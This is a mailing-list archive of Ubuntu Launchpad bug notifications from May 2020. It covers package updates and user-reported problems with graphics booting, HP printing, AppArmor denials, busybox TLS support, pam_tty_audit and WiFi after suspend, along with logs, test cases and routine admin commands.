[Touch-packages] [Bug 1875605] Re: SRU the current 0.20.3 stable update

2020-05-19 Thread Launchpad Bug Tracker
This bug was fixed in the package libsecret - 0.20.3-0ubuntu1

---
libsecret (0.20.3-0ubuntu1) focal; urgency=medium

  * New stable version (lp: #1875605)

 -- Sebastien Bacher   Tue, 28 Apr 2020 11:50:58
+0200

** Changed in: libsecret (Ubuntu Focal)
   Status: Fix Committed => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libsecret in Ubuntu.
https://bugs.launchpad.net/bugs/1875605

Title:
   SRU the current 0.20.3 stable update

Status in libsecret package in Ubuntu:
  Fix Released
Status in libsecret source package in Focal:
  Fix Released

Bug description:
  * Impact
  That's the current GNOME stable update, including some fixes
  https://gitlab.gnome.org/GNOME/libsecret/-/blob/master/NEWS

  * Test case

  The update is part of GNOME stable updates
  https://wiki.ubuntu.com/StableReleaseUpdates/GNOME

  Check that using passwords in GNOME applications or gpg/ssh keys still
  work correctly

  * Regression potential

  There is a segfault fix for flapak portals, testing that usecase would
  be useful

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/libsecret/+bug/1875605/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1879546] [NEW] I'm not able to boot if not in nomodeset mode. OS isn't able to use Intel Graphics card

2020-05-19 Thread Felippe
Public bug reported:

I'm running 18.04 on a Intel. My computer came with Ubuntu installed and
a Nvidia GeForce MX150 Graphics Card, but I've never been able to use
it, as it always freezes my screen. For a year, I've been using the
Intel Graphics Card instead. The problem is, I got my python3
installation really messed up and had to do a Factory Reset to be able
to boot again (as unfortunately I had no backup).

Since I've had this problem in the past, I've been able to more or less
reproduce the steps I've made to get my computer working with Intel
Graphics. Some of them were:

Purge NVIDIA Graphics:

sudo apt-get remove --purge nvidia*

Install lightdm, as the default manager got my login screen freezing
too:

sudo apt-get install lightdm

Edit grub settings so I could boot in nomodeset at least:

GRUB_CMDLINE_LINUX="mem_sleep_default=deep nomodeset"

(I believe this probably wasn't the right place to write nomodeset, but
I'm not the more experienced user and thought I should remove nvidia-
drm.modeset=1 from my boot settings as I didn't want anything to do with
NVIDIA.)

After login with lightdm in nomodeset, I got that the used Graphics Card
is llvmpipe (LLVM 9.0, 256 bits), not Intel UHD Graphics, which is the
desired one.

So I've installed NVIDIA repo again (sudo add-apt-repository ppa
:graphics-drivers/ppa) and also Nvidia settings for being able to prime-
select intel as the Graphics Card.

My desire is to be able to boot with Intel UHD Graphics but without
nomodeset. How should my grub file look like? It's currently like that:

GRUB_DEFAULT=0
GRUB_TIMEOUT_STYLE=hidden
GRUB_TIMEOUT=0
GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || echo Debian`
GRUB_CMDLINE_LINUX_DEFAULT="nosplash quiet nomodeset"
GRUB_CMDLINE_LINUX=""

And this is my lsmod log:

`
Module  Size  Used by
ccm20480  3
rfcomm 77824  4
cmac   16384  1
bnep   20480  2
uvcvideo   86016  0
videobuf2_vmalloc  16384  1 uvcvideo
videobuf2_memops   16384  1 videobuf2_vmalloc
btusb  45056  0
videobuf2_v4l2 24576  1 uvcvideo
btrtl  16384  1 btusb
videobuf2_core 40960  2 videobuf2_v4l2,uvcvideo
btbcm  16384  1 btusb
btintel16384  1 btusb
videodev  188416  3 videobuf2_core,videobuf2_v4l2,uvcvideo
bluetooth 548864  33 btrtl,btintel,btbcm,bnep,btusb,rfcomm
media  40960  2 videodev,uvcvideo
ecdh_generic   24576  2 bluetooth
nls_iso8859_1  16384  1
snd_hda_codec_hdmi 53248  1
hid_multitouch 20480  0
arc4   16384  2
dell_smm_hwmon 16384  0
intel_rapl 20480  0
x86_pkg_temp_thermal16384  0
dell_laptop20480  0
intel_powerclamp   16384  0
coretemp   16384  0
snd_soc_skl86016  0
snd_hda_codec_realtek   106496  1
snd_soc_skl_ipc65536  1 snd_soc_skl
snd_hda_codec_generic73728  1 snd_hda_codec_realtek
snd_hda_ext_core   24576  1 snd_soc_skl
snd_soc_sst_dsp32768  1 snd_soc_skl_ipc
kvm_intel 217088  0
snd_soc_sst_ipc16384  1 snd_soc_skl_ipc
kvm   610304  1 kvm_intel
snd_soc_acpi   16384  1 snd_soc_skl
irqbypass  16384  1 kvm
crct10dif_pclmul   16384  0
snd_soc_core  241664  1 snd_soc_skl
crc32_pclmul   16384  0
ghash_clmulni_intel16384  0
snd_compress   20480  1 snd_soc_core
ac97_bus   16384  1 snd_soc_core
pcbc   16384  0
snd_pcm_dmaengine  16384  1 snd_soc_core
snd_hda_intel  45056  3
snd_hda_codec 131072  4 
snd_hda_codec_generic,snd_hda_codec_hdmi,snd_hda_intel,snd_hda_codec_realtek
aesni_intel   188416  4
aes_x86_64 20480  1 aesni_intel
snd_hda_core   81920  7 
snd_hda_codec_generic,snd_hda_codec_hdmi,snd_hda_intel,snd_hda_ext_core,snd_hda_codec,snd_hda_codec_realtek,snd_soc_skl
iwlmvm376832  0
crypto_simd16384  1 aesni_intel
glue_helper16384  1 aesni_intel
snd_hwdep  20480  1 snd_hda_codec
cryptd 24576  3 crypto_simd,ghash_clmulni_intel,aesni_intel
intel_cstate   20480  0
mac80211  786432  1 iwlmvm
intel_rapl_perf16384  0
snd_pcm98304  8 
snd_hda_codec_hdmi,snd_hda_intel,snd_hda_ext_core,snd_hda_codec,snd_soc_core,snd_soc_skl,snd_hda_core,snd_pcm_dmaengine
joydev 24576  0
input_leds 16384  0
snd_seq_midi   16384  0
snd_seq_midi_event 16384  1 snd_seq_midi
serio_raw  16384  0
snd_rawmidi32768  1 snd_seq_midi
dell_wmi   16384  0
snd_seq65536  2 snd_seq_midi,snd_seq_midi_event
dell_smbios24576  2 dell_wmi,dell_laptop
dcdbas 16384  1 dell_smbios
snd_seq_device 16384  3 snd_seq,snd_seq_midi,snd_rawmidi
iwlwifi 

[Touch-packages] [Bug 1879206] Re: cups hplip not install printer

2020-05-19 Thread Tomáš Levora
It looks like the problem I've got since upgrade to 20.04. Had the
permission warning to the ppd file as well, but tried to add user to lp
group. Here's the current output of my hp-check:

hp-check[15036]: info: :
hp-check[15036]: info: :HP Linux Imaging and Printing System (ver. 3.20.5)
hp-check[15036]: info: :Dependency/Version Check Utility ver. 15.1
hp-check[15036]: info: :
hp-check[15036]: info: :Copyright (c) 2001-18 HP Development Company, LP
hp-check[15036]: info: :This software comes with ABSOLUTELY NO WARRANTY.
hp-check[15036]: info: :This is free software, and you are welcome to 
distribute it
hp-check[15036]: info: :under certain conditions. See COPYING file for more 
details.
hp-check[15036]: info: :
hp-check[15036]: info: :Note: hp-check can be run in three modes:
hp-check[15036]: info: :1. Compile-time check mode (-c or --compile): Use this 
mode before compiling the HPLIP supplied tarball (.tar.gz or .run) to determine 
if the proper dependencies are installed to successfully compile HPLIP. 

hp-check[15036]: info: :2. Run-time check mode (-r or --run): Use this mode to 
determine if a distro supplied package (.deb, .rpm, etc) or an already built 
HPLIP supplied tarball has the proper dependencies installed to successfully 
run.  
hp-check[15036]: info: :3. Both compile- and run-time check mode (-b or --both) 
(Default): This mode will check both of the above cases (both compile- and 
run-time dependencies). 

hp-check[15036]: info: :
hp-check[15036]: info: :Check types:


   
hp-check[15036]: info: :a. EXTERNALDEP - External Dependencies  


   
hp-check[15036]: info: :b. GENERALDEP - General Dependencies (required both at 
compile and run time)   


hp-check[15036]: info: :c. COMPILEDEP - Compile time Dependencies   


   
hp-check[15036]: info: :d. [All are run-time checks]


   
hp-check[15036]: info: :PYEXT SCANCONF QUEUES PERMISSION


   
hp-check[15036]: info: :
hp-check[15036]: info: :Status Types:
hp-check[15036]: info: :OK
hp-check[15036]: info: :MISSING   - Missing Dependency or Permission or 
Plug-in
hp-check[15036]: info: :INCOMPAT  - Incompatible dependency-version or 
Plugin-version
hp-check[15036]: info: :
hp-check[15036]: info: :
hp-check[15036]: info: :---
hp-check[15036]: info: :| SYSTEM INFO |
hp-check[15036]: info: :---
hp-check[15036]: info: :
hp-check[15036]: info: : Kernel: 5.4.0-29-generic #33-Ubuntu SMP Wed Apr 29 
14:32:27 UTC 2020 GNU/Linux
 Host: panthera
 Proc: 5.4.0-29-generic #33-Ubuntu SMP Wed Apr 29 14:32:27 UTC 2020 GNU/Linux
 Distribution: 12 20.04
hp-check[15036]: info: : Bitness: 64 bit

hp-check[15036]: info: :
hp-check[15036]: info: :---
hp-check[15036]: info: :| HPLIP CONFIGURATION |
hp-check[15036]: info: :---
hp-check[15036]: info: :
hp-check[15036]: info: :HPLIP-Version: HPLIP 3.20.5
hp-check[15036]: info: :HPLIP-Home: /usr/share/hplip
hp-check[15036]: info: :HPLIP-Installation: Auto installation is supported for 
ubuntu distro  20.04 version 
hp-check[15036]: info: :
hp-check[15036]: info: :Current contents of '/etc/hp/hplip.conf' file:
hp-check[15036]: info: :# hplip.conf.  Generated from hplip.conf.in by 
configure.

[hplip]
version=3.20.5

[dirs]
home=/usr/share/hplip
run=/var/run
ppd=/usr/share/ppd/HP
ppdbase=/usr/share/ppd
doc=/usr/share/doc/hplip-3.20.5
html=/usr/share/doc/hplip-3.20.5
icon=/usr/share/applications
cupsbackend=/usr/lib/cups/backend
cupsfilter=/usr/lib/cups/filter
drv=/usr/share/cups/drv/hp
bin=/usr/bin
apparmor=/etc/apparmor.d
# Following values are determined at configure time and cannot be changed.

[Touch-packages] [Bug 1872564] Re: /proc/sys/kernel/random/boot_id rule missing from abstractions/nameservice

2020-05-19 Thread Jamie Strandboge
@Sergio, I didn't see that you uploaded anything to the queue so to
expedite the SRU since there are a number of duplicates, I created a
smaller backport of the fix and uploaded it to focal-proposed just now:
http://launchpadlibrarian.net/480473812/apparmor_2.13.3-7ubuntu5_2.13.3-7ubuntu5.1.diff.gz

(I hope that is alright).

** Changed in: apparmor (Ubuntu Focal)
   Status: Confirmed => In Progress

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/1872564

Title:
  /proc/sys/kernel/random/boot_id rule missing from
  abstractions/nameservice

Status in apparmor package in Ubuntu:
  Fix Released
Status in apparmor source package in Focal:
  In Progress

Bug description:
  [Impact]

  On a default Focal install, systemd is used when looking up passwd and
  group information:

  # grep systemd /etc/nsswitch.conf
  passwd: files systemd
  group:  files systemd

  Daemons confined by Apparmor that also query those "databases" will
  cause this Apparmor denial:

  audit: type=1400 audit(1586825456.411:247): apparmor="DENIED"
  operation="open" namespace="root//lxd-fb1_"
  profile="/usr/sbin/named" name="/proc/sys/kernel/random/boot_id"
  pid=7370 comm="named" requested_mask="r" denied_mask="r" fsuid=100
  ouid=100

  Many daemons confined by Apparmor also happen to downgrade their
  privileges so they always end up looking up user/group information.

  To fix this problem, we had to backport an upstream patch which adds
  new directives to the 'nameservices' apparmor profile.

  [Test Case]

  In order to reproduce the bug, one can:

  1) launch a Focal container (named fb1 here)
  $ lxc launch images:ubuntu/focal fb1

  2) setup apparmor inside the container (already done on official Ubuntu 
images)
  $ lxc exec fb1 -- apt update && lxc exec fb1 -- apt install apparmor -y

  3) install bind9
  $ lxc exec fb1 -- apt install bind9 -y

  4) check kernel logs for DENIED
  $ journalctl -o cat -b0 -k | grep 'apparmor="DENIED"' | grep -F 
'profile="/usr/sbin/named"'

  or, depending on how logging is configured:

  $ dmesg | grep 'apparmor="DENIED"' | grep -F
  'profile="/usr/sbin/named"'

  Step 4, should not return anything. Because systemd is involved in the
  user/group lookups, it currently returns the following:

  audit: type=1400 audit(1586826072.115:266): apparmor="DENIED" 
operation="open" namespace="root//lxd-fb1_" 
profile="/usr/sbin/named" name="/proc/sys/kernel/random/boot_id" pid=13756 
comm="named" requested_mask="r" denied_mask="r" fsuid=100 ouid=100
  audit: type=1400 audit(1586826072.115:267): apparmor="DENIED" 
operation="open" namespace="root//lxd-fb1_" 
profile="/usr/sbin/named" name="/proc/sys/kernel/random/boot_id" pid=13756 
comm="named" requested_mask="r" denied_mask="r" fsuid=100 ouid=100
  audit: type=1400 audit(1586826072.115:268): apparmor="DENIED" 
operation="open" namespace="root//lxd-fb1_" 
profile="/usr/sbin/named" name="/proc/sys/kernel/random/boot_id" pid=13756 
comm="named" requested_mask="r" denied_mask="r" fsuid=100 ouid=100
  audit: type=1400 audit(1586826072.115:269): apparmor="DENIED" 
operation="open" namespace="root//lxd-fb1_" 
profile="/usr/sbin/named" name="/proc/sys/kernel/random/boot_id" pid=13756 
comm="named" requested_mask="r" denied_mask="r" fsuid=100 ouid=100
  audit: type=1400 audit(1586826072.115:270): apparmor="DENIED" 
operation="open" namespace="root//lxd-fb1_" 
profile="/usr/sbin/named" name="/proc/sys/kernel/random/boot_id" pid=13756 
comm="named" requested_mask="r" denied_mask="r" fsuid=100 ouid=100

  [Regression Potential]

  In order to fix this issue, 3 separate patches had to be backported.
  They are simple and self-contained, especially two of them, whose
  purposes are to add the definition of the @{run} variable and then to
  add a trailing slash at the end of the "/run" pathname.

  The other patch, albeit very simple, adds three statements to the
  'nameservice' profile in order to let processes access (read-only)
  files under "/run/systemd/userdb" and
  "/proc/sys/kernel/random/boot_id".  After thinking about the possible
  cases, the only possible problem I could envision was for a program
  that, not being able to access some of these files before, will now be
  able to do that and therefore exercise a part of its codebase which
  was not being used, possibly uncovering latent bugs in this software.
  But this is not a regression of apparmor per se.

  [Original Description]

  (Description and Test Case were moved above)

  # Workaround

  1) remove systemd from nsswitch.conf
  $ lxc exec fb1 -- sed -i 's/ systemd$/ # systemd/' /etc/nsswitch.conf
  2) restart named
  $ lxc exec fb1 -- service named restart
  3) notice no more denials in kernel logs

  # Additional information

  root@fb1:~# apt-cache policy apparmor
  apparmor:
    Installed: 

[Touch-packages] [Bug 1879525] Re: Add TLS support

2020-05-19 Thread Dimitri John Ledkov
** Patch added: "busybox.debdiff"
   
https://bugs.launchpad.net/ubuntu/+source/busybox/+bug/1879525/+attachment/5374216/+files/busybox.debdiff

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to busybox in Ubuntu.
https://bugs.launchpad.net/bugs/1879525

Title:
  Add TLS support

Status in busybox package in Ubuntu:
  New
Status in busybox source package in Focal:
  New

Bug description:
  [Impact]

   * busybox in the initramfs provides wget applet that is used by casper for 
netboot support
   * It does not support https at the moment, but it is desirable that it does
   * There is built-in TLS code, or "fork & execute openssl"
   * Enable the later one, and optionally include /usr/bin/openssl & certs, 
when building casper-like initrds which should support netboot.

  [Test Case]

   * Boot casper created initrd, with break=bottom
   * Configure dhcp based networking
   * Attempt to wget https://start.ubuntu.com/connectivity-check
   * It should succeed

  [Regression Potential]

   * The openssl codepath is optional in busybox wget, and we only include 
openssl & certs for casper.
   * The casper based initrd will grow in size, due to inclusion of openssl & 
certs

  [Other Info]
   
   * Parity with d-i, which includes https support already

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/busybox/+bug/1879525/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1666203] Re: pam_tty_audit failed in pam_open_session

2020-05-19 Thread David Ordyan
Hello!

Thanks for your work with creating and testing the patch.
When Xenial Fix will be released?

I'd love to see it, because activation of Proposed repo on dozens hosts does 
not looks very good.
Thanks!

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pam in Ubuntu.
https://bugs.launchpad.net/bugs/1666203

Title:
  pam_tty_audit failed in pam_open_session

Status in pam package in Ubuntu:
  Fix Released
Status in pam source package in Xenial:
  Fix Committed
Status in pam source package in Bionic:
  Fix Released
Status in pam source package in Cosmic:
  Fix Released
Status in pam package in Debian:
  Fix Released

Bug description:
  [Impact]

   * Kernel keystroke auditing via pam_tty_audit.so not working

   * When Using the pam_tty_audit with other pam modules(ex, pam_ldap), it 
failed in pam_open_session.
     It was triggared by use uninitialized variable in 
pam_tty_audit.c::pam_open_session.

  [Test Case]

  1) Open a shell & escalate to root
  2) Update /etc/pam.d/common-session & 
/etc/pam.d/common-session-noninteractive and add the following line directly 
after the line: "session required pam_unix.so":
  "session required pam_tty_audit.so enable=*"

  3) Start a second new shell session on the box and type a variety of commands
  4) Exit the second shell session to flush the buffer?
  5) In the root shell run "aureport -tty -i". The output should show the 
commands run in the other shell.

  [Regression Potential]

   * Low, we are simply including the missing header file and copy the
  old status as initialization of new. The fix is already found/part of
  Debian and Disco.

  [Pending SRU]

  All regressions found in Bionic and Cosmic looks like long standing
  ADT failure. Nothing has been introduce by this particular SRU.

  [Other Info]

  # Upstream fix:
  
https://github.com/linux-pam/linux-pam/commit/c5f829931a22c65feffee16570efdae036524bee

  # git describe --contains c5f829931a22c65feffee16570efdae036524bee
  Linux-PAM-1_2_0~75

  # rmadision pam
  =>  pam | 1.1.8-1ubuntu2.2   | trusty-updates   | source
  =>  pam | 1.1.8-3.2ubuntu2   | xenial   | source
  =>  pam | 1.1.8-3.2ubuntu2.1 | xenial-updates   | source
  =>  pam | 1.1.8-3.6ubuntu2   | bionic   | source
  =>  pam | 1.1.8-3.6ubuntu2   | cosmic   | source
  pam | 1.3.1-5ubuntu1 | disco| source

  [Original Description]

  Dear Maintainer.

  I found a bug in pam_tty_audit.
  When Using the pam_tty_audit with other pam modules(ex, pam_ldap), it failed 
in pam_open_session.
  It was triggared by use uninitialized variable in 
pam_tty_audit.c::pam_open_session.

  * Enviroments
  Ubuntu 14.04.4 LTS
  linux-image-3.16.0-71-generic3.16.0-71.92~14.04.1
  libpam-ldap:amd64184-8.5ubuntu3
  libpam-modules:amd641.1.8-1ubuntu2.2

  Ubuntu 16.04.2 TLS
  linux-image-4.4.0-62-generic4.4.0-62.83
  libpam-ldap:amd64184-8.7ubuntu1
  libpam-modules:amd641.1.8-3.2ubuntu2

  * Reproduction method
  1. Install libpam-ldap.
  2. Add the following to the end of /etc/pam.d/common-sessions
  
  session required pam_tty_audit.so enable=* open_only
  
  3. When logging in with ssh etc., pam_tty_audit will fail and login fails

  * Solution (== 2018/04/16 Link updated ==)
  apply upstream patch
  
https://github.com/linux-pam/linux-pam/commit/c5f829931a22c65feffee16570efdae036524bee

  * Logs (on Ubuntu14.04)
  -- auth.log --
  May 18 14:47:03 vm sshd[2272]: Accepted publickey for test from 10.99.0.1 
port 51398 ssh2: RSA 8f:39:1c:3a:f4:9d:ca:99:67:fc:e3:fd:1e:0c:5b:a8
  May 18 14:47:03 vm sshd[2272]: pam_unix(sshd:session): session opened for 
user test by (uid=0)
  May 18 14:47:03 vm sshd[2272]: pam_tty_audit(sshd:session): error setting 
current audit status: Invalid argument
  May 18 14:47:03 vm sshd[2272]: error: PAM: pam_open_session(): Cannot 
make/remove an entry for the specified session
  May 18 14:47:03 vm sshd[2297]: Received disconnect from 10.99.0.1: 11: 
disconnected by user

  -- syslog --
  May 18 14:47:03 vm audispd: node=vm type=USER_ACCT 
msg=audit(1463550423.399:58): pid=2272 uid=0 auid=4294967295 ses=4294967295 
msg='op=PAM:accounting acct="test" exe="/usr/sbin/sshd" hostname=10.99.0.1 
addr=10.99.0.1 terminal=ssh res=success'
  May 18 14:47:03 vm audispd: node=vm type=CRED_ACQ 
msg=audit(1463550423.403:59): pid=2272 uid=0 auid=4294967295 ses=4294967295 
msg='op=PAM:setcred acct="test" exe="/usr/sbin/sshd" hostname=10.99.0.1 
addr=10.99.0.1 terminal=ssh res=success'
  May 18 14:47:03 vm audispd: node=vm type=LOGIN msg=audit(1463550423.403:60): 
pid=2272 uid=0 old-auid=4294967295 auid=20299 old-ses=4294967295 ses=3 res=1
  May 18 14:47:03 vm audispd: node=vm type=CONFIG_CHANGE 
msg=audit(1463550423.403:61): pid=2272 uid=0 auid=20299 ses=3 op=tty_set 
old-enabled=0 new-enabled=1 old-log_passwd=0 new-log_passwd=32743 res=0
  May 18 14:47:03 vm audispd: node=vm type=USER_START 

[Touch-packages] [Bug 1721704] Re: Printer settings stuck on loading drivers database

2020-05-19 Thread Till Kamppeter
*** This bug is a duplicate of bug 1872564 ***
https://bugs.launchpad.net/bugs/1872564

** This bug has been marked a duplicate of bug 1872564
   /proc/sys/kernel/random/boot_id rule missing from abstractions/nameservice

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/1721704

Title:
  Printer settings stuck on loading drivers database

Status in apparmor package in Ubuntu:
  New
Status in system-config-printer package in Ubuntu:
  Incomplete

Bug description:
  1) Description:   Ubuntu Artful Aardvark (development branch)
 Release:   17.10
  2) ubuntu-settings:
 Installed: 17.10.17
 Candidate: 17.10.17
  3) The printer configuration goes fine and I can print
  4) Printer settings stuck on loading drivers database and finally no drivers 
list available. Only 'cancel' button active.

  Note: I'm trying to configure a Brother HL-2030 connected to Network
  through a FritzBox 7940 router. The printer works fine both on Fedora
  and macOS X systems. I opened 'System Settings', then select 'Devices'
  > 'Printers' > 'Add a Printer'. I entered the router address and the
  window shows me correctly a 'JetDirect-Printer' on 192.168.178.1. I
  selected the printer and pressed the 'Add' button, a window 'Select
  Printer Driver' appears and stuck with 'Loading drivers database...'.
  After about 2 minutes, stopped loading and remains blank. No drivers
  selection is available and I can only push the 'Cancel' button.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apparmor/+bug/1721704/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1718100] Re: package linux-image-extra-4.4.0-96-generic 4.4.0-96.119 failed to install/upgrade: run-parts: /etc/kernel/postinst.d/initramfs-tools exited with return code 1

2020-05-19 Thread Launchpad Bug Tracker
Status changed to 'Confirmed' because the bug affects multiple users.

** Changed in: initramfs-tools (Ubuntu)
   Status: New => Confirmed

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to initramfs-tools in Ubuntu.
https://bugs.launchpad.net/bugs/1718100

Title:
  package linux-image-extra-4.4.0-96-generic 4.4.0-96.119 failed to
  install/upgrade: run-parts: /etc/kernel/postinst.d/initramfs-tools
  exited with return code 1

Status in initramfs-tools package in Ubuntu:
  Confirmed

Bug description:
  I am not able to upgrade.
  E: dpkg was interrupted, you must manually run 'sudo dpkg --configure -a' to 
correct the problem
  Error occurred during upgrading

  ProblemType: Package
  DistroRelease: Ubuntu 16.04
  Package: linux-image-extra-4.4.0-96-generic 4.4.0-96.119
  ProcVersionSignature: Ubuntu 4.4.0-93.116-generic 4.4.79
  Uname: Linux 4.4.0-93-generic x86_64
  ApportVersion: 2.20.1-0ubuntu2.10
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC1:  gdm2199 F pulseaudio
developer   2483 F pulseaudio
   /dev/snd/controlC0:  gdm2199 F pulseaudio
developer   2483 F pulseaudio
  Date: Tue Sep 19 10:48:00 2017
  ErrorMessage: run-parts: /etc/kernel/postinst.d/initramfs-tools exited with 
return code 1
  HibernationDevice: RESUME=UUID=b3c90a6e-1f27-4e6c-8769-59ea38c20b57
  InstallationDate: Installed on 2016-12-28 (264 days ago)
  InstallationMedia: Ubuntu-GNOME 16.04.1 LTS "Xenial Xerus" - Release amd64 
(20160720)
  MachineType: Dell Inc. Latitude 3460
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.4.0-93-generic 
root=UUID=881f5268-178a-428c-baec-2a6ad9f54308 ro quiet splash vt.handoff=7
  PulseList: Error: command ['pacmd', 'list'] failed with exit code 1: No 
PulseAudio daemon running, or not running as session daemon.
  RelatedPackageVersions: grub-pc 2.02~beta2-36ubuntu3.12
  SourcePackage: initramfs-tools
  Title: package linux-image-extra-4.4.0-96-generic 4.4.0-96.119 failed to 
install/upgrade: run-parts: /etc/kernel/postinst.d/initramfs-tools exited with 
return code 1
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 08/04/2016
  dmi.bios.vendor: Dell Inc.
  dmi.bios.version: A04
  dmi.board.name: 0XPKP0
  dmi.board.vendor: Dell Inc.
  dmi.board.version: A02
  dmi.chassis.type: 9
  dmi.chassis.vendor: Dell Inc.
  dmi.modalias: 
dmi:bvnDellInc.:bvrA04:bd08/04/2016:svnDellInc.:pnLatitude3460:pvr:rvnDellInc.:rn0XPKP0:rvrA02:cvnDellInc.:ct9:cvr:
  dmi.product.name: Latitude 3460
  dmi.sys.vendor: Dell Inc.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/initramfs-tools/+bug/1718100/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1869940] Re: QCA6174 [168c:003e] Subsystem [1a56:1535]: No networks available/visible after suspend

2020-05-19 Thread You-Sheng Yang
** Summary changed:

- No networks available/visible after suspend
+ QCA6174 [168c:003e] Subsystem [1a56:1535]: No networks available/visible 
after suspend

** Tags added: hwe-networking-wifi

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to network-manager in Ubuntu.
https://bugs.launchpad.net/bugs/1869940

Title:
  QCA6174 [168c:003e] Subsystem [1a56:1535]: No networks
  available/visible after suspend

Status in linux package in Ubuntu:
  Incomplete
Status in network-manager package in Ubuntu:
  New

Bug description:
  WiFI network disconnected and no networks visible after resume from
  suspend. Had to reboot the machine to get networking (WiFI) back up
  and running.

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: network-manager 1.22.10-1ubuntu1
  ProcVersionSignature: Ubuntu 5.4.0-21.25-generic 5.4.27
  Uname: Linux 5.4.0-21-generic x86_64
  ApportVersion: 2.20.11-0ubuntu21
  Architecture: amd64
  CurrentDesktop: ubuntu:GNOME
  Date: Tue Mar 31 21:18:43 2020
  InstallationDate: Installed on 2020-03-31 (0 days ago)
  InstallationMedia: Ubuntu 20.04 LTS "Focal Fossa" - Alpha amd64 (20200330)
  IpRoute:
   default via 192.168.1.1 dev wlp59s0 proto dhcp metric 600 
   169.254.0.0/16 dev wlp59s0 scope link metric 1000 
   192.168.1.0/24 dev wlp59s0 proto kernel scope link src 192.168.1.30 metric 
600
  SourcePackage: network-manager
  UpgradeStatus: No upgrade log present (probably fresh install)
  nmcli-con:
   NAMEUUID  TYPE  TIMESTAMP   
TIMESTAMP-REALAUTOCONNECT  AUTOCONNECT-PRIORITY  READONLY  
DBUS-PATH   ACTIVE  DEVICE   STATE  
ACTIVE-PATH SLAVE  FILENAME 
  
   DORIAN  2c3f821d-0865-4747-974a-2f861ee0dc38  wifi  1585682245  tis 31 mar 
2020 21:17:25  yes  0 no
/org/freedesktop/NetworkManager/Settings/1  yes wlp59s0  activated  
/org/freedesktop/NetworkManager/ActiveConnection/1  -- 
/etc/NetworkManager/system-connections/DORIAN.nmconnection
  nmcli-dev:
   DEVICE   TYPE  STATE IP4-CONNECTIVITY  IP6-CONNECTIVITY  
DBUS-PATH  CONNECTION  CON-UUID 
 CON-PATH   
   wlp59s0  wifi  connected full  limited   
/org/freedesktop/NetworkManager/Devices/2  DORIAN  
2c3f821d-0865-4747-974a-2f861ee0dc38  
/org/freedesktop/NetworkManager/ActiveConnection/1 
   p2p-dev-wlp59s0  wifi-p2p  disconnected  none  none  
/org/freedesktop/NetworkManager/Devices/3  --  --   
 -- 
   lo   loopback  unmanaged unknown   unknown   
/org/freedesktop/NetworkManager/Devices/1  --  --   
 --
  nmcli-nm:
   RUNNING  VERSION  STATE  STARTUP  CONNECTIVITY  NETWORKING  WIFI-HW  
WIFI WWAN-HW  WWAN
   running  1.22.10  connected  started  full  enabled enabled  
enabled  enabled  enabled

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1869940/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1879206] Re: cups hplip not install printer

2020-05-19 Thread Tomáš Levora
Just to add more info, I tried the one from distribution repository and
the upstream one with the same result

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to cups in Ubuntu.
https://bugs.launchpad.net/bugs/1879206

Title:
  cups hplip not install printer

Status in cups package in Ubuntu:
  New
Status in hplip package in Ubuntu:
  Incomplete

Bug description:
  After upgrading to Ubuntu 20.04 I can't print anymore.

  Description:  Ubuntu 20.04 LTS
  Release:  20.04

  cups:
Installato: 2.3.1-9ubuntu1.1
Candidato:  2.3.1-9ubuntu1.1
Tabella versione:
   *** 2.3.1-9ubuntu1.1 500
  500 http://it.archive.ubuntu.com/ubuntu focal-updates/main amd64 
Packages
  500 http://security.ubuntu.com/ubuntu focal-security/main amd64 
Packages
  100 /var/lib/dpkg/status
   2.3.1-9ubuntu1 500
  500 http://it.archive.ubuntu.com/ubuntu focal/main amd64 Packages

  hplip:
Installato: 3.20.3+dfsg0-2
Candidato:  3.20.3+dfsg0-2
Tabella versione:
   *** 3.20.3+dfsg0-2 500
  500 http://it.archive.ubuntu.com/ubuntu focal/main amd64 Packages
  100 /var/lib/dpkg/status

  
  I tried to reinstall the printer, but it is not being re-saved by cups / hplip

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: cups 2.3.1-9ubuntu1.1
